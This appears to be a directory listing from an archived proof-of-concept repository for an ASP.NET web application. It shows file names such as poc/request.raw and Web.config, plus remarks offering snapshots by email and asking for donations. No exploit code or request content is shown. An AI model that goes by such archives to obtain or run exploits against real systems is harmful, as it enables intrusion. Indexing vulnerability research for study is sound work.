│ │ │ ├── [5.7K] MicrosoftAjaxSerialization.js
│ │ │ ├── [2.6K] MicrosoftAjaxTimer.js
│ │ │ ├── [ 39K] MicrosoftAjaxWebForms.js
│ │ │ └── [4.7K] MicrosoftAjaxWebServices.js
│ │ ├── [ 10K] SmartNav.js
│ │ ├── [9.0K] TreeView.js
│ │ ├── [ 21K] WebForms.js
│ │ ├── [ 26K] WebParts.js
│ │ └── [ 26K] WebUIValidation.js
│ ├── [3.5K] Site.Master
│ ├── [ 318] Site.Master.cs
│ ├── [1.2K] Site.Master.designer.cs
│ ├── [ 858] Site.Mobile.Master
│ ├── [ 330] Site.Mobile.Master.cs
│ ├── [1.7K] Site.Mobile.Master.designer.cs
│ ├── [ 238] UserInfo.cs
│ ├── [ 269] ViewSwitcher.ascx
│ ├── [1.6K] ViewSwitcher.ascx.cs
│ ├── [ 448] ViewSwitcher.ascx.designer.cs
│ ├── [2.6K] Web.config
│ ├── [1.3K] Web.Debug.config
│ └── [1.4K] Web.Release.config
├── [4.0K] img
│ ├── [538K] calc.jpg
│ ├── [332K] code.jpg
│ └── [451K] repo.jpg
├── [4.0K] poc
│ └── [1.2K] request.raw
└── [1.9K] README.md
113 directories, 397 files
Remarks
1. It is advised to access via the original source first.
2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.